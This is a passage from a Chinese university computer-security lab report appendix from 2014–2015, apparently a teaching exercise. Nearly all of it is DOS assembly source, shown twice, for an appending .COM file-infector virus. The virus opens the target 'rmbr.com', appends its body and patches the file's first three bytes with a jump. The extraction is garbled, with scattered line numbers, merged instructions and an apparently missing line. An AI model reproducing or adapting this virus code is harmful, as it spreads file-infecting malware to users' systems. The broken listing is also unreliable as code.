天津理工大学
计算机与通信工程学院
实验报告
2014 至 2015 学年 第 二 学期
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
附录(可包括源程序清单或其它说明)
code segment ; 1 assume cs:code,ds:code,ss:code ; 2
org 100h ; 3 start: ; 4 nop ; 防止原始病毒代码被覆盖了预留3个字节 ; 5 nop ; 6
nop ; 7
vstart: ; 8
call locate ; 9
locate: ; 10
pop si ; 得到当前IP ; 11
sub si,offset locate ; 12
mov ax,WORD PTR ds:first_3byte[si] ; 在内存中恢复原程序的头3个字节 mov ds:[100h],ax ; 14
mov al,ds:first_3byte[si+2] ; 15
mov ds:[102h],al ; 16
mov ax,3d02h ; 开档,读写属性 ; 17 lea dx,fname[si] ; 18
int 21h ; 19 ; 13
mov ah,3fh ; 保存头3个字节 ; 21 mov cx,3 ; 22
lea dx,first_3byte[si] ; 23
int 21h ; 24
mov ax,4202h ; 移动文件指针到文件尾部 ; 25 xor cx,cx ; 26
xor dx,dx ; 27
int 21h ; 28
sub ax,3 ; 上面操作返回的AX 的就当前文件指针的地址 ; 29 mov word ptr jmp_3byte[si+1],ax ; 保存下来 ; 30
mov ax,4000h ; 将病毒体附加在感染文件的后面 ; 31 mov cx,vsize ; 32
lea dx,vstart[si] ; 33
int 21h ; 34
mov ax,4200h ; 移动文件指针到文件开头 ; 35 xor cx,cx ; 36
23
int 21h ; 38
mov ah,40h ; 将构造的 JMP 指令写进去 ; 39 mov cx,3 ; 40
lea dx,jmp_3byte[si] ; 41
int 21h ; 42
mov ah,3eh ; 关闭文件 ; 43
int 21h ; 44
mov ax,100h ; 病毒完成工作,返回到原程序工作 push ax ; 46
ret ; 47
first_3byte db 0cdh,20h,0 ; 构造CD20 反汇编后是 INT 20H jmp_3BYTE db 0e9h,?,? ; e9h 构造一套JMP 指令 fname db 'rmbr.com',0 ; 要感染的文件名 vsize equ $-offset vstart ; 51
code ends ; 52
end start ; 53
24 ; 45 ; 48 ; 49 ; 50
天津理工大学
计算机与通信工程学院
实验报告
2014 至 2015 学年 第 二 学期
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
附录(可包括源程序清单或其它说明)
code segment ; 1 assume cs:code,ds:code,ss:code ; 2
org 100h ; 3 start: ; 4 nop ; 防止原始病毒代码被覆盖了预留3个字节 ; 5 nop ; 6
nop ; 7
vstart: ; 8
call locate ; 9
locate: ; 10
pop si ; 得到当前IP ; 11
sub si,offset locate ; 12
mov ax,WORD PTR ds:first_3byte[si] ; 在内存中恢复原程序的头3个字节 mov ds:[100h],ax ; 14
mov al,ds:first_3byte[si+2] ; 15
mov ds:[102h],al ; 16
mov ax,3d02h ; 开档,读写属性 ; 17 lea dx,fname[si] ; 18
int 21h ; 19 ; 13
mov ah,3fh ; 保存头3个字节 ; 21 mov cx,3 ; 22
lea dx,first_3byte[si] ; 23
int 21h ; 24
mov ax,4202h ; 移动文件指针到文件尾部 ; 25 xor cx,cx ; 26
xor dx,dx ; 27
int 21h ; 28
sub ax,3 ; 上面操作返回的AX 的就当前文件指针的地址 ; 29 mov word ptr jmp_3byte[si+1],ax ; 保存下来 ; 30
mov ax,4000h ; 将病毒体附加在感染文件的后面 ; 31 mov cx,vsize ; 32
lea dx,vstart[si] ; 33
int 21h ; 34
mov ax,4200h ; 移动文件指针到文件开头 ; 35 xor cx,cx ; 36
23
int 21h ; 38
mov ah,40h ; 将构造的 JMP 指令写进去 ; 39 mov cx,3 ; 40
lea dx,jmp_3byte[si] ; 41
int 21h ; 42
mov ah,3eh ; 关闭文件 ; 43
int 21h ; 44
mov ax,100h ; 病毒完成工作,返回到原程序工作 push ax ; 46
ret ; 47
first_3byte db 0cdh,20h,0 ; 构造CD20 反汇编后是 INT 20H jmp_3BYTE db 0e9h,?,? ; e9h 构造一套JMP 指令 fname db 'rmbr.com',0 ; 要感染的文件名 vsize equ $-offset vstart ; 51
code ends ; 52
end start ; 53
24 ; 45 ; 48 ; 49 ; 50